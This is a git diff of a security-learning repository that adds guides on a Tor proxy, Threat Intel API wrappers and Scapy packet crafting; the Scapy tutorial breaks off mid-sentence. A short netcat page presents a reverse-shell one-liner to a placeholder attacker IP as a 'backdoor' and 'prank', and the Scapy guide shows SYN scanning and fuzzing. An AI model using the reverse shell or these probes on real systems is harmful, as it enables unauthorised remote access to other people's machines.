+Then edit the Tor config file at ```/etc/tor/torrc```: + +``` +Log notice file /var/log/tor/notices.log +VirtualAddrNetwork 10.192.0.0/10 +AutomapHostsSuffixes .onion,.exit +AutomapHostsOnResolve 1 +TransPort 9040 +TransListenAddress 192.168.42.1 +DNSPort 53 +DNSListenAddress 192.168.42.1 +``` + +Change the IP routing tables so that connections via the WiFi interface (wlan0) will be routed through the Tor software. To flush the old rules from the IP NAT table do: +``` +$ sudo iptables -F +$ sudo iptables -t nat -F +``` + +Add the iptables, to be able to ssh: +``` +$ sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 22 -j REDIRECT --to-ports 22 +``` + +To route all DNS (UDP port 53) from interface wlan0 to internal port 53 (DNSPort in our torrc): +``` +$ sudo iptables -t nat -A PREROUTING -i wlan0 -p udp --dport 53 -j REDIRECT --to-ports 53 +``` + +To route all TCP traffic from interface wlan0 to port 9040 (TransPort in our torrc): +``` +$ sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --syn -j REDIRECT --to-ports 9040 +``` + +Check that the iptables is right with: +``` +$ sudo iptables -t nat -L +``` + +If everything is good, we'll save it to our old NAT save file: +``` +$ sudo sh -c "iptables-save > /etc/iptables.ipv4.nat" +``` + +Next we'll create our log file (handy for debugging) with: +``` +$ sudo touch /var/log/tor/notices.log +$ sudo chown debian-tor /var/log/tor/notices.log +$ sudo chmod 644 /var/log/tor/notices.log +``` + +Check it with: +``` +$ ls -l /var/log/tor +``` + +Finally, you can start the Tor service manually: +``` +$ sudo service tor start +``` + +And make it start on boot: +``` +$ sudo update-rc.d tor enable +``` + +That's it! Browser safe! + +--- +Enjoy! This article was originally posted [here](https://coderwall.com/p/m3excg/a-tor-proxy-in-a-raspberry-pi). diff --git a/Network_and_802.11/how_to_netcat.md b/Network_and_802.11/how_to_netcat.md new file mode 100644 index 0000000..24fc29a --- /dev/null +++ b/Network_and_802.11/how_to_netcat.md @@ -0,0 +1,24 @@ +# How to netcat (or a little backdoor) + +Create the reverse shell in the port 1337: + +```bash +$ sh -i >& /dev/tcp/ATTACKERS_IP/1337 0>&1 +``` + +Now just netcat to it. From a Linux machine: + +```bash +$ nc -l -p 1337 +``` + +Or from a Macbook: +```bash +$ nc -l 1337 +``` + +You should get shell. A cute prank is making the victim's computer talk: + +```bash +$ say Hacked +``` diff --git a/Network_and_802.11/incident_response.md b/Network_and_802.11/incident_response.md new file mode 100644 index 0000000..3588f1d --- /dev/null +++ b/Network_and_802.11/incident_response.md @@ -0,0 +1,740 @@ +# Introducing Threat Intel + + +[Threat Intel](https://github.com/Yelp/threat_intel) is a set of Threat Intelligence APIs that can be used by security developers and analysts for incident response. Additionally, it contains wrappers for: + +* OpenDNS Investigate API +* VirusTotal API v2.0 +* ShadowServer API + +---- + +### OpenDNS Investigate API + +[OpenDNS Investigate](https://investigate.opendns.com/) provides an API that +allows querying for: + + * Domain categorization + * Security information about a domain + * Co-occurrences for a domain + * Related domains for a domain + * Domains related to an IP + * Domain tagging dates for a domain + * DNS RR history for a domain + * WHOIS information + - WHOIS information for an email + - WHOIS information for a nameserver + - Historical WHOIS information for a domain + * Latest malicious domains for an IP + +To use the Investigate API wrapper import `InvestigateApi` class from `threat_intel.opendns` module: + +```python +from threat_intel.opendns import InvestigateApi +``` + +To initialize the API wrapper, you need the API key: + +```python +investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>") +``` + +You can also specify a file name where the API responses will be cached in a JSON file, +to save you the bandwidth for the multiple calls about the same domains or IPs: + +```python +investigate = InvestigateApi("<INVESTIGATE-API-KEY-HERE>", cache_file_name="/tmp/cache.opendns.json") +``` + +#### Domain categorization + +Calls `domains/categorization/?showLabels` Investigate API endpoint. +It takes a list (or any other Python enumerable) of domains and returns +the categories associated with these domains by OpenDNS along with a [-1, 0, 1] score, where -1 is a malicious status. + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +investigate.categorization(domains) +``` + +will result in: + +``` +{ + "baidu.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []}, + "google.com": {"status": 1, "content_categories": ["Search Engines"], "security_categories": []}, + "bibikun.ru": {"status": -1, "content_categories": [], "security_categories": ["Malware"]} +} +``` + +#### Security information about a domain + +Calls `security/name/` Investigate API endpoint. +It takes any Python enumerable with domains, e.g., list, and returns several security parameters +associated with each domain. + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +investigate.security(domains) +``` + +will result in: + +``` +{ + "baidu.com": { + "found": true, + "handlings": { + "domaintagging": 0.00032008666962131285, + "blocked": 0.00018876906157154347, + "whitelisted": 0.00019697641207465407, + "expired": 2.462205150933176e-05, + "normal": 0.9992695458052232 + }, + "dga_score": 0, + "rip_score": 0, + + .. + + } +} +``` + +#### Co-occurrences for a domain + +Calls `recommendations/name/` Investigate API endpoint. +Use this method to find out a list of co-occurrence domains (domains that are being accessed by the same users within a small window of time) to the one given in a list, or any other Python enumerable. + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +investigate.cooccurrences(domains) +``` + +will result in: + +``` +{ + "baidu.com": { + "found": true, + "pfs2": [ + ["www.howtoforge.de", 0.14108563836506008], + } + + .. + +} +``` + +#### Related domains for a domain + +Calls `links/name/` Investigate API endpoint. +Use this method to find out a list of related domains (domains that have been frequently seen requested around a time window of 60 seconds, but that are not associated with the given domain) to the one given in a list, or any other Python enumerable. + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +investigate.related_domains(domains) +``` + +will result in: + +``` +{ + "tb1": [ + ["t.co", 11.0], + ] + + .. + +} +``` + +#### Domain tagging dates for a domain + +Calls `domains/name/` Investigate API endpoint. + +Use this method to get the date range when the domain being queried was a part of the OpenDNS block list and how long a domain has been in this list + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +investigate.domain_tag(domains) +``` + +will result in: + +``` +{ + 'category': u'Malware', + 'url': None, + 'period': { + 'begin': u'2013-09-16', + 'end': u'Current' + } + + .. + +} +``` + +#### DNS RR history for a Domain + +Calls `dnsdb/name/a/` Investigate API endpoint. +Use this method to find out related domains to domains given in a list, or any other Python enumerable. + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +investigate.dns_rr(domains) +``` + +will result in: + +``` +{ + 'features': { + 'geo_distance_mean': 0.0, + 'locations': [ + { + 'lat': 59.89440155029297, + 'lon': 30.26420021057129 + } + ], + 'rips': 1, + 'is_subdomain': False, + 'ttls_mean': 86400.0, + 'non_routable': False, + } + + .. + +} +``` + +#### DNS RR history for an IP + +Calls `dnsdb/ip/a/` Investigate API endpoint. +Use this method to find out related domains to the IP addresses given in a list, or any other Python enumerable. + +```python +ips = ['8.8.8.8'] +investigate.rr_history(ips) +``` + +will result in: + +``` +{ + "8.8.8.8": { + "rrs": [ + { + "name": "8.8.8.8", + "type": "A", + "class": "IN", + "rr": "000189.com.", + "ttl": 3600 + }, + { + "name": "8.8.8.8", + "type": "A", + "class": "IN", + "rr": "008.no-ip.net.", + "ttl": 60 + }, + } + + .. + +} +``` + +#### WHOIS information for a domain + +##### WHOIS information for an email + +Calls `whois/emails/{email}` Investigate API endpoint. + +Use this method to see WHOIS information for the email address. (For now, the OpenDNS API will only return at most 500 results) + +```python +emails = ["dns-admin@google.com"] +investigate.whois_emails(emails) +``` + +will result in: + +``` +{ + "dns-admin@google.com": { + "totalResults": 500, + "moreDataAvailable": true, + "limit": 500, + "domains": [ + { + "domain": "0emm.com", + "current": true + }, + .. + ] + } +} +``` + +##### WHOIS information for a nameserver + +Calls `whois/nameservers/{nameserver}` Investigate API endpoint. + +Use this method to see WHOIS information for the nameserver. (For now, the OpenDNS API will only return at most 500 results) + +```python +nameservers = ["ns2.google.com"] +investigate.whois_nameservers(nameservers) +``` + +will result in: + +``` +{ + "ns2.google.com": { + "totalResults": 500, + "moreDataAvailable": true, + "limit": 500, + "domains": [ + { + "domain": "46645.biz", + "current": true + }, + .. + ] + } +} +``` + +##### WHOIS information for a domain + +Calls `whois/{domain}` Investigate API endpoint. + +Use this method to see WHOIS information for the domain. + +```python +domains = ["google.com"] +investigate.whois_domains(domains) +``` + +will result in: + +``` +{ + "administrativeContactFax": null, + "whoisServers": null, + "addresses": [ + "1600 amphitheatre parkway", + "please contact contact-admin@google.com, 1600 amphitheatre parkway", + "2400 e. bayshore pkwy" + ], + .. +} +``` + +##### Historical WHOIS information for a domain + +Calls `whois/{domain}/history` Investigate API endpoint. + +Use this method to see historical WHOIS information for the domain. + +```python +domains = ["5esb.biz"] +investigate.whois_domains_history(domains) +``` + +will result in: + +``` +{ + '5esb.biz':[ + { + u'registrantFaxExt':u'', + u'administrativeContactPostalCode':u'656448', + u'zoneContactCity':u'', + u'addresses':[ + u'nan qu hua yuan xiao he' + ], + .. + }, + .. + ] +} +``` + +#### Latest malicious domains for an IP + +Calls `ips/{ip}/latest_domains` Investigate API endpoint. + +Use this method to see whether the IP address has any malicious domains associated with it. + +```python +ips = ["8.8.8.8"] +investigate.latest_malicious(ips) +``` + +will result in: + +``` +{ + [ + '7ltd.biz', + 'co0s.ru', + 't0link.in', + ] + + .. +} +``` + +---- + +### VirusTotal API + +[VirusTotal](https://www.virustotal.com/) provides an +[API](https://www.virustotal.com/en/documentation/public-api/) that makes it +possible to query for the reports about: + + * Domains + * URLs + * IPs + * File hashes + * File Upload + * Live Feed + * Advanced search + +To use the VirusTotal API wrapper import `VirusTotalApi` class from `threat_intel.virustotal` module: + +```python +from threat_intel.virustotal import VirusTotalApi +``` + +To initialize the API wrapper, you need the API key: + +```python +vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>") +``` + +VirusTotal API calls allow squeezing a list of file hashes or URLs into a single HTTP call. +Depending on the API version you are using (public or private) you may need to tune the maximum number +of the resources (file hashes or URLs) that could be passed in a single API call. +You can do it with the `resources_per_req` parameter: + +```python +vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", resources_per_req=4) +``` + +When using the public API your standard request rate allows you too put maximum 4 resources per request. +With private API you are able to put up to 25 resources per call. That is also the default value if you +don't pass the `resources_per_req` parameter. + +Of course, when calling the API wrapper methods in the `VirusTotalApi` class, you can pass as many resources +as you want and the wrapper will take care of producing as many API calls as necessary to satisfy the request rate. + +Similarly to OpenDNS API wrapper, you can also specify the file name where the responses will be cached: + +```python +vt = VirusTotalApi("<VIRUSTOTAL-API-KEY-HERE>", cache_file_name="/tmp/cache.virustotal.json") +``` + +#### Domain report endpoint + +Calls `domain/report` VirusTotal API endpoint. +Pass a list or any other Python enumerable containing the domains: + +```python +domains = ["google.com", "baidu.com", "bibikun.ru"] +vt.get_domain_reports(domains) +``` + +will result in: + +``` +{ + "baidu.com": { + "undetected_referrer_samples": [ + { + "positives": 0, + "total": 56, + "sha256": "e3c1aea1352362e4b5c008e16b03810192d12a4f1cc71245f5a75e796c719c69" + } + ], + + .. + + } +} +``` + + +#### URL report endpoint + +Calls `url/report` VirusTotal API endpoint. +Pass a list or any other Python enumerable containing the URL addresses: + +```python +urls = ["http://www.google.com", "http://www.yelp.com"] +vt.get_url_reports(urls) +``` + +will result in: + +``` +{ + "http://www.google.com": { + "permalink": "https://www.virustotal.com/url/dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf/analysis/1423344006/", + "resource": "http://www.google.com", + "url": "http://www.google.com/", + "response_code": 1, + "scan_date": "2015-02-07 21:20:06", + "scan_id": "dd014af5ed6b38d9130e3f466f850e46d21b951199d53a18ef29ee9341614eaf-1423344006", + "verbose_msg": "Scan finished, scan information embedded in this object", + "filescan_id": null, + "positives": 0, + "total": 62, + "scans": { + "CLEAN MX": { + "detected": false, + "result": "clean site" + }, + } + .. + +} +``` + +#### URL scan endpoint + +Calls 'url/scan' VirusTotal API endpoint. +Submit a url or any other Python enumerable containing the URL addresses: + +```python +urls = ["http://www.google.com", "http://www.yelp.com"] +vt.post_url_report(urls) +``` + +#### Hash report endpoint + +Calls `file/report` VirusTotal API endpoint. +You can request the file reports passing a list of hashes (md5, sha1 or sha2): + +```python +file_hashes = [ + "99017f6eebbac24f351415dd410d522d", + "88817f6eebbac24f351415dd410d522d" +] + +vt.get_file_reports(file_hashes) +``` + +will result in: + +``` +{ + "88817f6eebbac24f351415dd410d522d": { + "response_code": 0, + "resource": "88817f6eebbac24f351415dd410d522d", + "verbose_msg": "The requested resource is not among the finished, queued or pending scans" + }, + "99017f6eebbac24f351415dd410d522d": { + "scan_id": "52d3df0ed60c46f336c131bf2ca454f73bafdc4b04dfa2aea80746f5ba9e6d1c-1423261860", + "sha1": "4d1740485713a2ab3a4f5822a01f645fe8387f92", + } + + .. + +} +``` + +#### Hash rescan endpoint + +Calls `file/rescan` VirusTotal API endpoint. Use to rescan a previously submitted file. +You can request the file reports passing a list of hashes (md5, sha1 or sha2): + +#### Hash behavior endpoint + +Calls `file/behaviour` VirusTotal API endpoint. Use to get a report about the behavior of the file when executed in a sandboxed environment (Cuckoo sandbox). +You can request the file reports passing a list of hashes (md5, sha1 or sha2): + +```python +file_hashes = [ + "99017f6eebbac24f351415dd410d522d", + "88817f6eebbac24f351415dd410d522d" +] + +vt.get_file_behaviour(file_hashes) +``` + +#### Hash network-traffic endpoint + +Calls `file/network-traffic` VirusTotal API endpoint. Use to get the dump of the network traffic generated by the file when executed. +You can request the file reports passing a list of hashes (md5, sha1 or sha2): + +```python +file_hashes = [ + "99017f6eebbac24f351415dd410d522d", + "88817f6eebbac24f351415dd410d522d" +] + +vt.get_file_network_traffic(file_hashes) +``` + +#### Hash download endpoint + +Calls `file/download` VirusTotal API endpoint. Use to download a file by its hash. +You can request the file reports passing a list of hashes (md5, sha1 or sha2): + +```python +file_hashes = [ + "99017f6eebbac24f351415dd410d522d", + "88817f6eebbac24f351415dd410d522d" +] + +vt.get_file_download(file_hashes) +``` + +#### IP reports endpoint + +Calls `ip-address/report` VirusTotal API endpoint. +Pass a list or any other Python enumerable containing the IP addresses: + +```python +ips = ['90.156.201.27', '198.51.132.80'] +vt.get_ip_reports(ips) +``` + +will result in: + +``` +{ + "90.156.201.27": { + "asn": "25532", + "country": "RU", + "response_code": 1, + "as_owner": ".masterhost autonomous system", + "verbose_msg": "IP address found in dataset", + "resolutions": [ + { + "last_resolved": "2013-04-01 00:00:00", + "hostname": "027.ru" + }, + { + "last_resolved": "2015-01-20 00:00:00", + "hostname": "600volt.ru" + }, + + .. + + ], + "detected_urls": [ + { + "url": "http://shop.albione.ru/", + "positives": 2, + "total": 52, + "scan_date": "2014-04-06 11:18:17" + }, + { + "url": "http://www.orlov.ru/", + "positives": 3, + "total": 52, + "scan_date": "2014-03-05 09:13:31" + } + ], + }, + + "198.51.132.80": { + + .. + + } +} +``` + +#### URL live feed endpoint + +Calls `url/distribution` VirusTotal API endpoint. Use to get a live feed with the latest URLs submitted to VirusTotal. + +```python +vt.get_url_distribution() +``` + +#### Hash live feed endpoint + +Calls `file/distribution` VirusTotal API endpoint. Use to get a live feed with the latest Hashes submitted to VirusTotal. + +```python +vt.get_file_distribution() +``` + +#### Hash search endpoint + +Calls `file/search` VirusTotal API endpoint. Use to search for samples that match some binary/metadata/detection criteria. + +```python +vt.get_file_search() +``` + +#### File date endpoint + +Calls `file/clusters` VirusTotal API endpoint. Use to list similarity clusters for a given time frame. + +```python +vt.get_file_clusters() +``` + +--- + +### ShadowServer API + +[ShadowServer](http://shadowserver.org/) provides an [API](http://bin-test.shadowserver.org/) that allows to test +the hashes against a list of known software applications. + +To use the ShadowServer API wrapper import `ShadowServerApi` class from `threat_intel.shadowserver` module: + +```python +from threat_intel.shadowserver import ShadowServerApi +``` + +To use the API wrapper simply call the `ShadowServerApi` initializer: + +```python +ss = ShadowServerApi() +``` + +You can also specify the file name where the API responses will be cached: + +```python +ss = ShadowServerApi(cache_file_name="/tmp/cache.shadowserver.json") +``` + +To check whether the hashes are on the ShadowServer list of known hashes, +call `get_bin_test` method and pass enumerable with the hashes you want to test: + +```python +file_hashes = [ + "99017f6eebbac24f351415dd410d522d", + "88817f6eebbac24f351415dd410d522d" +] + +ss.get_bin_test(file_hashes) + +``` + +--- + +## Installation + +### Install with `pip` + +```shell +$ pip install threat_intel +``` + +### Testing +Go to town with `make`: + +```shell +$ sudo pip install tox +$ make test +``` diff --git a/Network_and_802.11/netaddr/send_mail.py b/Network_and_802.11/netaddr/send_mail.py index 882ba97..aed574d 100755 --- a/Network_and_802.11/netaddr/send_mail.py +++ b/Network_and_802.11/netaddr/send_mail.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import netaddr import socket @@ -11,4 +11,4 @@ for ip in netaddr.IPNetwork(subnet): s = socket.socket() print ip s.connect((ip, 25)) - # send email packets \ No newline at end of file + # send email packets diff --git a/Network_and_802.11/netaddr/test_netaddr.py b/Network_and_802.11/netaddr/test_netaddr.py index a758b82..144e15c 100755 --- a/Network_and_802.11/netaddr/test_netaddr.py +++ b/Network_and_802.11/netaddr/test_netaddr.py @@ -1,9 +1,9 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import netaddr ip = '192.168.1.114' if ip in netaddr.IPNetwork('192.168.1.0/24'): - print('OK!') \ No newline at end of file + print('OK!') diff --git a/Network_and_802.11/other_scripts/netcat_shell.py b/Network_and_802.11/other_scripts/netcat_shell.py index 1076bdb..6c38176 100755 --- a/Network_and_802.11/other_scripts/netcat_shell.py +++ b/Network_and_802.11/other_scripts/netcat_shell.py @@ -1,6 +1,6 @@ #!/usr/bin/env python -__author__ = "bt3" +__author__ = "Mia Stein" import os @@ -59,4 +59,4 @@ def main(): if __name__ == '__main__': - main() \ No newline at end of file + main() diff --git a/Network_and_802.11/packet_scripting.md b/Network_and_802.11/packet_scripting.md new file mode 100644 index 0000000..adf5443 --- /dev/null +++ b/Network_and_802.11/packet_scripting.md @@ -0,0 +1,775 @@ +# Python's Scapy Module & Packet Scripting + +This is a review about Python's [Scapy](http://www.secdev.org/projects/scapy/), which is a very powerful **packet manipulation** resource. + +**Scapy** is able to forge and decode packets of several protocols, send and capture them, match requests and replies, and much more. It can be used to handle most network tasks such as scanning, tracerouting, probing, attacks, network discovery, to name a few. + + +Before we start, make sure you have Scapy in your machine: + +```sh +$ pip install scapy +``` + +You can test the installation firing up Scapy iteratively. For example, these are some useful functions: +```sh +$ scapy +Welcome to Scapy (2.2.0) +>>> ls() ---> list protocols/layers +>>> lsc() ---> list commands +>>> conf ---> Display configurations +>>> help(sniff) --> Help for a specific command +``` + +This post is divided as the following: + +* [Scapy 101 (including sniffing, scanning, fuzzing,...)](#intro), +* [Stealing Plain Text Email Data](#email), +* [ARP Poisoning a Machine](#arp), and +* [Processing PCAP Files](#pcap). + + +----------------------------------------------- + +#<a name="intro"></a> Scapy 101 + +## A Simple Packet and its Headers + +The basic unit in network communication is the *packet*. So let's create one! + + +Scapy builds packets by the *layers* and then by the *fields* in each layer. Each layer is nested inside the parent layer, represented by the **<** and **>** brackets. + +Let's start by specifying the packet's source IP and then its destination IP. This type of information goes in the **IP header**, which is a *layer 3 protocol* in the [0SI model](http://https://singularity-sh.vercel.app/wiresharking-for-fun-or-profit.html): + +```python +>>> ip = IP(src="192.168.1.114") +>>> ip.dst="192.168.1.25" +>>> pritnt ip +<IP src=192.168.1.114 dst=192.168.1.25 |> +``` + +Now let's add a *layer 4 protocol*, such as **TCP** or **UDP**. To attach this header to the previous, we use the the operator **/** (which is used as a composition operator between layers): + +```python +>>> ip/TCP() +<IP frag=0 proto=tcp src=192.168.0.1 dst=192.168.0.2 |<TCP |>> +>>> tcp=TCP(sport=1025, dport=80) +>>> (tcp/ip).show() +###[ TCP ]### + sport= 1025 + dport= www + seq= 0 + ack= 0 + dataofs= None + reserved= 0 + flags= S + window= 8192 + chksum= None + urgptr= 0 + options= {} +###[ IP ]### + version= 4 + ihl= None + tos= 0x0 + len= None + id= 1 + flags= + frag= 0 + ttl= 64 +(...) +``` + +We could even go further, adding *layer 2 protocols* such as **Ethernet** or **IEEE 802.11**: + +``` +>>> Ether()/Dot1Q()/IP() +<Ether type=0x8100 |<Dot1Q type=0x800 |<IP |>>> +>>> Dot11()/IP() +<Dot11 |<IP |>> +``` + + + +### Sending a Packet: Layer 2 vs. Layer 3 + +Now that we have a (very simple) packet, we can send it over the wire. + +Scapy's method [send](http://www.secdev.org/projects/scapy/doc/usage.html#sending-packets) is used to send a single packet to the IP destination. This is a *layer 3* operation, so the route is based on the local table: + +``` +>>> send(ip/tcp) +. +Sent 1 packets. +``` + + +In another hand, Scapy's method [sendp](http://www.secdev.org/projects/scapy/doc/usage.html#sending-packets) works in the *layer 2*: + +``` +>>> sendp(Ether()/ip/tcp) +. +Sent 1 packet. +``` + + +### Sending an ICMP Packet + +For example, let us create an ICMP packet with some message: +```python +from scapy.all import * +packet = IP(dst="192.168.1.114")/ICMP()/"Helloooo!" +send(packet) +packet.show() +``` + +Notice that the method **show()** displays details about the packet. Running the snippet above gives: +```sh +$ sudo python send_packet.py +. +Sent 1 packets. +###[ IP ]### + version = 4 + ihl = None + tos = 0x0 + len = None + id = 1 + flags = + frag = 0 + ttl = 64 + proto = icmp + chksum = None + src = 192.168.1.114 + dst = 192.168.1.114 + \options \ +###[ ICMP ]### + type = echo-request + code = 0 + chksum = None + id = 0x0 + seq = 0x0 +###[ Raw ]### + load = 'Helloooo!' +``` + + +This is how this packet looks like in [Wireshark](): + + +To send the same packet over again we can simply add the **loop=1** argument within the **send** method: + +```python +send(packet, loop=1) +``` + +```sh +$ sudo python send_packet.py +..................................................................................................................... +``` + +Which looks like this in Wireshark: + + + + +### Sending & Receiving a Packet + +Scapy also has the ability to listen for responses to packets it sends (for example, ICMP ping requests). + +As in the send method, Scapy has two types of packet sending & receiving, based on the network layer. + +In the *layer 3*, the methods are [sr and sr1](http://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-packets-sr). The former returns the answered and unanswered packets, while the last only returns answered and sent packets. + +In the *layer 2*, the methods are [srp and srp1](http://www.secdev.org/projects/scapy/doc/usage.html#discussion). The former returns the answered and unanswered packets, while the last only returns answered and sent packets. + +A good way to remember their differences is to keep in mind that functions with a **1** are designed to send the specified packet and **end after receiving 1 answer/response** (instead of **continuing to listen for answers/responses**). + + +### Sending & Receiving a ICMP Packet + +For example, we can build an IP packet carrying an ICMP header, which has a default type of echo request, and use the **sr()** function to transmit the packet and record any response: + +```python +from scapy.all import * +output=sr(IP(dst='google.com')/ICMP()) +print '\nOutput is:' + output +result, unanswered=output +print '\nResult is:' + result +``` + +Running the above snippet results in: +```sh +$ sudo python receive_packet.py +Begin emission: +.Finished to send 1 packets. +* +Received 2 packets, got 1 answers, remaining 0 packets + +Output is: +(<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>) + +Result is: +[(<IP frag=0 proto=icmp dst=74.125.228.40 |<ICMP |>>, <IP version=4L ihl=5L tos=0x0 len=28 id=9762 flags= frag=0L ttl=53 proto=icmp chksum=0x6eff src=74.125.228.40 dst=192.168.1.114 options=[] |<ICMP type=echo-reply code=0 chksum=0x0 id=0x0 seq=0x0 |>>)] +``` + + +### Sending and Receiving in a Loop + +What if we want to send and listen for responses to multiple copies of the same packet? This can be done with the [srloop()](http://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-in-a-loop) method and a **count** value: + +```sh +>>> srloop(IP(dst="www.goog")/ICMP(), count=3) +RECV 1: IP / ICMP 74.125.228.51 > 192.168.1.114 echo-reply 0 +RECV 1: IP / ICMP 74.125.228.51 > 192.168.1.114 echo-reply 0 +RECV 1: IP / ICMP 74.125.228.51 > 192.168.1.114 echo-reply 0 + +Sent 3 packets, received 3 packets. 100.0% hits. +``` + +---- +## A TCP Three-way Handshake + +Scapy allows you to craft SYN request and match the corresponding returned [SYN/ACK](http://en.wikipedia.org/wiki/Transmission_Control_Protocol) segment. + +This is how it works: + +1) we create an instance of an IP header: + +``` +ip = IP(src='192.168.1.114', dst='192.168.1.25') +``` + +2) we define a SYN instance of the TCP header: + +``` +SYN = TCP(sport=1024, dport=80, flags='S', seq=12345) +``` + +3) we send this and capture the server's response with **sr1**: + +``` +packet = ip/SYN +SYNACK = sr1(packet) +``` + +4) we extract the server's TCP sequence number from the server, with **SYNACK.seq**, and increment it by 1: + +``` +ack = SYNACK.seq + 1 +``` + +5) we create a new instance of the TCP header **ACK**, which now has the flag **A** (placing the acknowledgment value for the server there) and we send everything out: + +``` +ACK = TCP(sport=1024, dport=80, flags='A', seq=12346, ack=ack) +send(ip/ACK) +``` + +6) Finally, we create the segment with no TCP flags and payload and send it: + +```python +PUSH = TCP(sport=1024, dport=80, flags='', seq=12346, ack=ack) +data = "HELLO!" +send(ip/PUSH/data) +``` + + +However, running the snippet above will not work. + +The reason is that crafting TCP sessions with Scapy circumvents the native TCP/IP stack. Since the host is unaware that Scapy is sending packets, the native host would receive an unsolicited SYN/ACK that is not associated with any known open session/socket. This would result in the host resetting the connection when receiving the SYN/ACK. + + +One solution is to use the host's firewall with [iptables](http://en.wikipedia.org/wiki/Iptables) to block the outbound resets. For example, to drop all outbound packets that are TCP and destined for IP 192.168.1.25 from 192.168.1.114 to destination port 80, examining the flag bits, we can run: + +```sh +$ sudo iptables -A OUTPUT -p tcp -d 192.168.1.25 -s 192.168.1.114 --dport 80 --tcp-flags RST -j DROP +``` +This does not prevent the source host from generating a reset each time it receives a packet from the session, however it does block it from silencing the resets. + + + +--- +## Network Scanning and Sniffing + +Now that we know the Scapy basics, let's learn how to perform a **port scanning**. + + +A very simple scanner can be crafted by sending a TCP/IP packet with the TCP flag set to SYM to every port in the range 1-1024 (this will take a couple of minutes to scan): + +```python +res, unans = sr( IP(dst='192.168.1.114')/TCP(flags='S', dport=(1, 1024))) +``` + +We can check the output with: +```python +res.summary() +``` + + +### The Sniff() Method + +In Scapy, packet sniffing can be done with the function [sniff()](http://www.secdev.org/projects/scapy/doc/usage.html#sniffing). The **iface** parameter tells the sniffer which network interface to sniff on. The **count** parameter specifies how many packet we want to sniff (where a blank value is infinite): + +```python +>>>> p = sniff(iface='eth1', timeout=10, count=5) +>>>> print p.summary() +``` + +We can specify filters too: +``` +>>>> p = sniff(filter="tcp and (port 25 or port 110)") +``` + +We can also use **sniff** with a customized callback function to every packet that matches the filter, with the **prn** parameter: + +```python +def packet_callback(packet): + print packet.show() + +sniff(filter='icmp', iface='eth1', prn=packet_callback, count=1) +``` + +To see the output in real time and dump the data into a file, we use the **lambda function** with **summary** and the **wrpcap** method: + +```python +>>>> p = sniff(filter='icmp', iface='eth1', timeout=10, count=5, prn = lambda x:x.summary()) +>>>> wrpcap('packets.pcap', p) +``` + +---- +## Changing a Routing Table + +To look to the routing table of our machine we can just print the Scapy's command **conf.route**: +``` +Network Netmask Gateway Iface Output IP +127.0.0.0 255.0.0.0 0.0.0.0 lo 127.0.0.1 +0.0.0.0 0.0.0.0 192.168.1.1 wlp1s0 192.168.1.114 +192.168.1.0 255.255.255.0 0.0.0.0 wlp1s0 192.168.1.114 +``` + +Scapy allows us to include a specified route to this table, so any packet intended to some specified host would go through the specified gateway: + +```python +>>>> conf.route.add(host='192.168.118.2', gw='192.168.1.114') +Network Netmask Gateway Iface Output IP +127.0.0.0 255.0.0.0 0.0.0.0 lo 127.0.0.1 +0.0.0.0 0.0.0.0 192.168.1.1 wlp1s0 192.168.1.114 +192.168.1.0 255.255.255.0 0.0.0.0 wlp1s0 192.168.1.114 +192.168.118.2 255.255.255.255 192.168.1.114 lo 192.168.1.114 +``` + +Finally, to return to the original configuration, we use ```conf.route.resync()```. + + +--- + +## Other Useful Stuff + +### Dumping Binary data in Hex form + +A very useful function is [hexdump()](https://pypi.python.org/pypi/hexdump), which can be used to display one or more packets using classic hexdump format: + +``` +from scapy.all import * +str(IP()) +a = Ether()/IP(dst="www.google.com")/TCP()/"GET /index.html HTTP/1.1" +hexdump(a) +``` + +Running this snippet gives: +```sh +$ sudo python example_hexdump.py +WARNING: No route found for IPv6 destination :: (no default route?) +0000 00 90 A9 A3 F1 46 A4 17 31 E9 B3 27 08 00 45 00 .....F..1..'..E. +0010 00 40 00 01 00 00 40 06 8D 0F C0 A8 01 72 4A 7D .@....@......rJ} +0020 E1 10 00 14 00 50 00 00 00 00 00 00 00 00 50 02 .....P........P. +0030 20 00 FA 15 00 00 47 45 54 20 2F 69 6E 64 65 78 .....GET /index +0040 2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 31 .html HTTP/1.1 +``` + + + +### Fuzzing + +Scapy's [fuzz()](http://www.secdev.org/projects/scapy/doc/usage.html#fuzzing) method allows one to craft fuzzing templates (by changing default values by random ones) and send them in a loop. + +For example, we can have a standard IP layer with the UDP and NTP layers being fuzzed (but with the correct checksums). Below, the UDP destination port is overloaded by NTP and the NTP version is forced to be 4: + +```python +>>> send(IP(dst="192.168.1.114")/fuzz(UDP()/NTP(version=4)), loop=1) +................^C +Sent 16 packets. +``` + +Here is a DNS fuzzer: + +```python +>>> send(IP(dst='192.168.1.114')/UDP()/fuzz(DNS()), inter=1,loop=1) +``` + + + +### More Networking +Scapy can perform simple networking functions such as [traceroute](http://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute-2) or [ping](http://www.secdev.org/projects/scapy/doc/usage.html#send-and-receive-in-a-loop): + +```python +>>>> print scapy.traceroute('www.google.com') +``` + +Or be used to discover hosts on the local Ethernet, with [arping](http://www.secdev.org/projects/scapy/doc/usage.html#arp-ping): +```python +>>>> print arping('192.168.1.114') +``` + +Scapy has also commands for a network-based attack such as [arpcachepoison and srpflood](http://www.secdev.org/projects/scapy/doc/usage.html#tcp-traceroute). + + +Additionally, we can use Scapy to re-create a packet that has been sniffed or received. The method **command()** returns a string of the 